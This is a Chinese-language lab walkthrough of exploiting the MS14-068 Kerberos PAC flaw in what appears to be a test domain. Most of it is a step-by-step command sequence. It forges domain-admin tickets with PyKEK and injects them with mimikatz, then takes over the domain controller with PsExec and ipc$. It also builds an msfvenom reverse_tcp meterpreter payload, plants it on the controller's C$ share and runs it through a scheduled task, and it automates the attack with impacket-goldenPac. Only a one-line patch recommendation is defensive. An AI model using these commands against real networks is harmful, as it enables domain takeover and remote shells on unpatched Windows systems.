MS14-068漏洞说明
kerberos在域中是做交互身份认证,在客户端访问服务时需要对客户端做权限验证,所以微软引入了PAC(特权属性证书)但是由于kerberos KDC没有对PAC证书合法性做验证,这样就允许了攻击者伪造Kerberos服务票据(ST)的特权属性证书(PAC),从而可能提升权限至域管理员级别,利用MS14-068漏洞可达到远程权限提升的效果。
MS14-068漏洞利用条件
- 域控制器没有修复MS14-068漏洞(未安装KB3011780补丁)
- 攻击者登录的终端可以访问域控制器
MS14-068漏洞利用方式
MS14-068漏洞复现涉及工具和命令
----------------------------MS14-068漏洞伪造票据命令----------------------------------
// impacket工具包lookupsid查看用户suid
impacket-lookupsid <domain>/<user>:<password>@<域控ip> -domain-sids
whoami /all
// 伪造具有高权限PAC票据,该脚本只能在windows中执行
python27 ms14-068.py -u <username>@<domain> -p <passwd> -s <user-sid> -d <dc-ip>
// impacket工具包goldenPac实现自动化利用
impacket-goldenPac <domain>/<username>:<password>@<domain contraller> -dc-ip <domain contraller ip> -target-ip <target ip>
----------------------------mimikatz操作kerberos票据----------------------------------
// 清空票据缓存
mimikatz > kerberos::purge
// 列出缓存中所有票据
mimikatz > kerberos::list
// 注入.ccache类型票据
mimikatz > kerberos::ptc 票据路径
// 注入.kirbi类型票据
mimikatz > kerberos::ptt 票据路径
// 读取.ccache格式的缓存票据,并将票据以.kirbi格式转出
mimikatz > kerberos::clist path\to\ticket.ccache /export
--------------------------------远控常用命令-----------------------------------
// meterpreter 上传文件
meterpreter > upload path/to/file
// 进入cmd命令行
meterpreter > shell
// 转换编码格式解决中文乱码问题
shell > chcp 65001
// 建立ipc$管道,在没有票据是需要输入明文密码
net use \\<domain-name/ip>\ipc$ [/user:<user> <passwd>]
// 查看远程计算机文件
dir \\<domain-name/ip>\path
// PsExec连接域控并执行cmd
PsExec.exe \\<domain-name> cmd
--------------------------------kerberos票据格式转换-----------------------------------
// kali自带impacket工具包转换格式
impacket-ticketConverter path/to/ticket.ccache ticket.kirbi
// 读取.ccache格式的缓存票据,并将票据以.kirbi格式转出
mimikatz > kerberos::clist path\to\ticket.ccache /export
--------------------------------kiwi常用命令------------------------------------------
注:meterspliot默认加载32位kiwi,在64位机器中使用kiwi要先将远控迁移进一个x64进程中
// 查看所有进程
meterpreter > ps
// 迁移进程
meterpreter > migrate <pid>
// meterpreter载入kiwi插件[先进入meterpreter]
meterpreter > load kiwi
// 加载票据
meterpreter > kerberos_ticket_use path/to/ticket
// 查看票据
meterpreter > kerberos_ticket_list
// 清空票据
meterpreter > kerberos_ticket_purge
// 使用mimikatz命令
meterpreter > kiwi_cmd <mimikatz-cmd>
MS14-068漏洞复现流程
mimikatz加PyKEK利用漏洞
实验环境:
- 域控 yk.dms.com[10.10.10.2]
- 受控制低权限windows机器web01.dms.com[10.10.10.110]
- 由于受控制机器web01中没有python2.7环境,所有这里用windows宿主机伪造票据
获取用户SID
方式一.在受控制机器上执行whoami /all

方式二.使用Impacket工具包中的lookupsid.py获取普通用户的SID
lookupsid.py在kali的该路径下/usr/share/doc/python3-impacket/examples/lookupsid.py
// 使用lookupsid.py查看用户suid
impacket-lookupsid <domain>/<user>:<password>@<域控ip> -domain-sids

之后用Domain SID + 用户域内的ID就可以获得用户的SID
DMS\vagary 的 SID :S-1-5-21-4027518213-1559650433-916302275-1000
利用漏洞伪造票据
使用PyKEK脚本伪造具有域管理员权限的用户票据
mubix/pykek: Kerberos Exploitation Kit
该脚本只能运行在windows下python2.7环境,kali的python库中没有md4哈希函数
C:\Python27\python.exe ms14-068.py -u vagary@dms.com -p 123.com -s S-1-5-21-4027518213-1559650433-916302275-1000 -d 10.10.10.2

可以看到成功生成了TGT票据

使用mimikatz将伪造的票据注入到内存中,就可以用该票据访问域控了
//打开mimikatz清空系统中kerberos票据缓存
kerberos::purge
//列出所有票据检查是否清楚成功
kerberos::list
//注入伪造好的特权票据
kerberos::ptc 票据路径

访问域控的C盘文件验证是否提权成功

控制域控
尝试用PsExec.exe连接域控在域控上执行命令
PsExec 是一种轻量级 telnet 替代品,可让你在其他系统上执行进程,并为控制台应用程序提供完整交互性,而无需手动安装客户端软件。 PsExec 最强大的用途包括在远程系统上启动交互式命令提示符,以及 IpConfig 等远程启用工具,否则无法显示有关远程系统的信息。
PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC
的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。
下载地址如下:https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec
建立ipc$管道
IPC是一个特殊的共享,它允许进程间通信和文件共享,通常用于远程管理。
// 建立ipc$管道,由于这里通过伪造票据我们获得了域控yk.dms.com的权限,可以免密码建立ipc$管道
net use \\yk.dms.com\ipc$
// 获取明文密码的情况下建立ipc$管道
net use \\ip\ipc$ /user:administrator "password" [/domain]

PsExec.exe获取域控shell
//连接域控并执行cmd
PsExec.exe \\yk.dms.com cmd

kali metasploit中利用漏洞
在不能访问远程桌面时可以用如下方法
使用Impacket工具包中的lookupsid.py获取普通用户的SID
lookupsid.py在kali的该路径下/usr/share/doc/python3-impacket/examples/lookupsid.py
// 使用lookupsid.py查看用户suid
impacket-lookupsid <domain>/<user>:<password>@<域控ip> -domain-sids

之后用Domain SID + 用户域内的ID就可以获得用户的SID
DMS\vagary 的 SID :S-1-5-21-4027518213-1559650433-916302275-1000
使用metasploit中的auxiliary/admin/kerberos/ms14_068_kerberos_checksum模块利用漏洞
这里用该模块复现失败了未找到解决方法,后续找到解决方法会跟进
// 进入msf控制台
msfconsole
// 选择攻击模块
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
// 查看选项
optionsBashCopyMore options

设置各选项
// 设置域名
set domain dms.com
// 设置域用户
set username vagary
// 设置域用户密码
set password 123.com
// 设置域用户SID
set user_sid S-1-5-21-4027518213-1559650433-916302275-1000
// 设置域控
set rhost 10.10.10.2Plain textCopyMore options

由于msf识别不了bin文件要将该文件用mimikatz进行格式转化
// 导出kirbi格式的文件
kerberos::client “路径” /exportPlain textCopyMore options

将转换后的文件放入kali,然后用metepreter上传进受控制机器
// 加载msf中的kiwi插件
meterpreter > load kiwi
// 载入票据
meterpreter > kerberos_ticket_use <path/to/ticket>Plain textCopyMore options

但是载入失败了
利用auxiliary/admin/kerberos/ms14_068_kerberos_checksum模块的方式复现失败了,这里上传mimikatz手动利用
利用漏洞伪造票据
使用PyKEK脚本伪造具有域管理员权限的用户票据
mubix/pykek: Kerberos Exploitation Kit
该脚本只能运行在windows下python2.7环境,kali的python库中没有md4哈希函数
C:\Python27\python.exe ms14-068.py -u vagary@dms.com -p 123.com -s S-1-5-21-4027518213-1559650433-916302275-1000 -d 10.10.10.2Plain textCopyMore options

可以看到成功生成了TGT票据,并将该票据上传到kali中

// 上传文件
meterpreter > upload mimikatz.zip
// 上传pykek生成的票据
meterpreter > upload TGT_vagary@dms.com.ccache
// 进入cmd命令行
meterpreter > shell
// 转换编码格式解决中文乱码问题
shell > chcp 65001
进入mimikatz加载票据(在正常载入票据时可以用meterpreter中kiwi插件载入票据,不过由于这里生成的票据是缓存格式,kali无法识别所以上传mimikatz来实现票据载入,也可以用impacket-ticketConverter工具转换,或者用mimikatz导出来将票据从缓存格式转换成票据格式)
// 进入靶机中mimikatz
mimikatz
// 清空当前票据缓存[先进入mimikatz]
mimikatz > kerberos::purge
// 载入票据缓存文件[先进入mimikatz]
mimikatz > kerberos::ptc TGT_vagary@dms.com.ccache
// 也可以用metersploit的kiwi模块,kiwi是meterpreter操作mimikatz的一个接口,不过需要将生成的票据格式进行转换
// 读取.ccache格式的缓存票据,并将票据以.kirbi格式转出(这一步是在windows攻击机上进行的)
mimikatz > kerberos::clist path\to\ticket.ccache /export
// kali自带impacket工具包转换格式
impacket-ticketConverter path/to/ticket.ccache ticket.kirbi
// meterspliot默认加载32位kiwi在64位机器中要先将远控迁移进一个x64进程中
// 查看所有进程
meterpreter > ps
// 迁移进程
meterpreter > migrate <pid>
// meterpreter载入kiwi插件[先进入meterpreter]
meterpreter > load kiwi
// 加载票据
meterpreter > kerberos_ticket_use path/to/ticket
由于普通用户不能访问域控,可以通过查看域控C盘来判断提权是否生效
// 查看域控C盘
dir \\yk.dms.com\$c
建立ipc$管道
// 查看共享
net use
// 建立ipc$管道
net use \\yk.dms.com\$ipc

传入新生成的木马
// 在msfvenom中生成远控程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=7778 -f exe -o yk.exe
// 将远控程序复制进远程计算机c盘
copy yk_shell.exe \\yk.dms.com\c$
// 查看远程计算机文件夹下文件
dir \\yk.dms.com\c$

计划任务执行木马并监听反弹shell
// 计划任务执行远控程序
at \\yk.dms.com <time> "c:\yk_shell.exe"
// 将meterpreter放入后台,bg是background的简写
meterpreter > bg
// 在msf中使用监听模块
msf > use exploit/multi/hander
// 查看配置选项
msf > options
// 设置payload类型
msf > set payload windows/x64/meterpreter/reverse_tcp
// 设置监听主机
msf > set lhost 0.0.0.0
// 设置监听端口
msf > set lport 7778
// 运行监听模块
msf > run

impacket-goldenPac漏洞利用
实验环境:
- 域控:yk.dms.com[10.10.10.2]
- 域用户/密码:vagary/123.com
- 域:dms.com
// impacket工具包实现自动化利用
impacket-goldenPac <domain>/<username>:<password>@<domain contraller> -dc-ip <domain contraller ip> -target-ip <target ip>

MS14-068漏洞防范建议
安装补丁:如果自动更新不可用或需要立即采取行动,可以手动下载并安装针对MS14-068漏洞的补丁KB3011780,具体下载地址可以在微软官方网站上找到